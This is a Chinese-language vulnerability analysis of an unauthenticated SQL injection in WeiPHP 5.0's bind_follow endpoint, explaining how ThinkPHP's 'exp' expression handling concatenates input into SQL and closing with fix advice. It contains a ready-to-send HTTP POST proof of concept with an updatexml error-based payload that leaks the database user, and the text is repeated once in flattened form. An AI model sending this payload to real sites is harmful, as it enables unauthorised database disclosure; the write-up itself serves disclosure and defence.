WeiPHP 5.0 sql注入漏洞(bind_follow)浅析
字数 1197 2025-08-06 18:07:40

WeiPHP 5.0 SQL注入漏洞(bind_follow)深入分析与复现

漏洞概述

WeiPHP 5.0是一个基于ThinkPHP 5框架开发的开源移动应用系统。该系统在bind_follow功能处存在SQL注入漏洞,攻击者可通过构造恶意请求实现数据库信息泄露,无需登录即可利用,危害较大。

漏洞环境

  • 系统版本:WeiPHP 5.0
  • 框架依赖:ThinkPHP 5
  • 漏洞文件:/application/home/controller/Index.php中的bind_follow方法

漏洞复现

POC (Proof of Concept)

POST /weiphp5/public/index.php/home/Index/bind_follow HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

uid%5b0]=exp&uid[1]=)%20and%20updatexml%0a(1,concat(0x7e,/*!user*/(),0x7e),1)--+

预期结果

执行后将返回数据库错误信息,包含当前数据库用户信息。

漏洞分析

漏洞入口

漏洞位于/application/home/controller/Index.php中的bind_follow方法:

public function bind_follow()
{
    $map['publicid'] = I('publicid');
    $map['uid'] = I('uid');
    $res = M('user_follow')->where(wp_where($map))->find();
    // ...
}

关键漏洞点

  1. 输入处理流程

    • 使用I()函数获取输入参数
    • I()函数最终调用think\facade\Request::input()方法
    • 输入过滤不严格,仅做了基本处理
  2. SQL注入形成过程

    • 用户输入通过wp_where()函数处理
    • $value[0] == 'exp'时,进入Db::raw()处理
    • Db::raw()通过think\db\Expression类处理输入
    • 最终在SQL语句拼接时未对恶意输入进行过滤
  3. SQL语句构造

    • 原始SQL模板:SELECT * FROM wp_user_follow WHERE publicid = :ThinkBind_1_ AND (uid)
    • 攻击者输入:) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)--
    • 最终SQL语句:
      SELECT * FROM `wp_user_follow` 
      WHERE `publicid` = :ThinkBind_1_ 
      AND ( `uid` ) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)-- )
      LIMIT 1
      

漏洞利用链

  1. 用户输入uid[0]=exp&uid[1]=恶意SQL
  2. wp_where处理数组参数
  3. $value[0] == 'exp'时进入特殊处理分支
  4. 通过Db::raw()think\db\Expression处理恶意输入
  5. parseExp方法中直接拼接SQL语句
  6. 最终执行拼接后的恶意SQL语句

漏洞修复建议

  1. 输入验证

    • uid参数进行严格类型检查
    • 使用白名单验证输入内容
  2. SQL处理改进

    • 避免直接使用用户输入构造SQL表达式
    • 使用参数化查询替代直接拼接
  3. 框架层面

    • 升级到最新ThinkPHP版本
    • Db::raw()方法增加安全限制

技术总结

该漏洞的特别之处在于:

  1. 利用了ThinkPHP的表达式查询特性
  2. 通过exp操作符绕过常规过滤
  3. 在SQL语句解析过程中形成注入
  4. 无需登录的前台注入,危害较大

漏洞形成的关键在于框架对exp表达式的处理不够严格,导致恶意输入被直接拼接到SQL语句中。

WeiPHP 5.0 SQL注入漏洞(bind_ follow)深入分析与复现 漏洞概述 WeiPHP 5.0是一个基于ThinkPHP 5框架开发的开源移动应用系统。该系统在 bind_follow 功能处存在SQL注入漏洞,攻击者可通过构造恶意请求实现数据库信息泄露,无需登录即可利用,危害较大。 漏洞环境 系统版本:WeiPHP 5.0 框架依赖:ThinkPHP 5 漏洞文件: /application/home/controller/Index.php 中的 bind_follow 方法 漏洞复现 POC (Proof of Concept) 预期结果 执行后将返回数据库错误信息,包含当前数据库用户信息。 漏洞分析 漏洞入口 漏洞位于 /application/home/controller/Index.php 中的 bind_follow 方法: 关键漏洞点 输入处理流程 : 使用 I() 函数获取输入参数 I() 函数最终调用 think\facade\Request::input() 方法 输入过滤不严格,仅做了基本处理 SQL注入形成过程 : 用户输入通过 wp_where() 函数处理 当 $value[0] == 'exp' 时,进入 Db::raw() 处理 Db::raw() 通过 think\db\Expression 类处理输入 最终在SQL语句拼接时未对恶意输入进行过滤 SQL语句构造 : 原始SQL模板: SELECT * FROM wp_user_follow WHERE publicid = :ThinkBind_1_ AND (uid) 攻击者输入: ) and updatexml\n(1,concat(0x7e,/*!user*/(),0x7e),1)-- 最终SQL语句: 漏洞利用链 用户输入 uid[0]=exp&uid[1]=恶意SQL wp_where 处理数组参数 当 $value[0] == 'exp' 时进入特殊处理分支 通过 Db::raw() 和 think\db\Expression 处理恶意输入 在 parseExp 方法中直接拼接SQL语句 最终执行拼接后的恶意SQL语句 漏洞修复建议 输入验证 : 对 uid 参数进行严格类型检查 使用白名单验证输入内容 SQL处理改进 : 避免直接使用用户输入构造SQL表达式 使用参数化查询替代直接拼接 框架层面 : 升级到最新ThinkPHP版本 对 Db::raw() 方法增加安全限制 技术总结 该漏洞的特别之处在于: 利用了ThinkPHP的表达式查询特性 通过 exp 操作符绕过常规过滤 在SQL语句解析过程中形成注入 无需登录的前台注入,危害较大 漏洞形成的关键在于框架对 exp 表达式的处理不够严格,导致恶意输入被直接拼接到SQL语句中。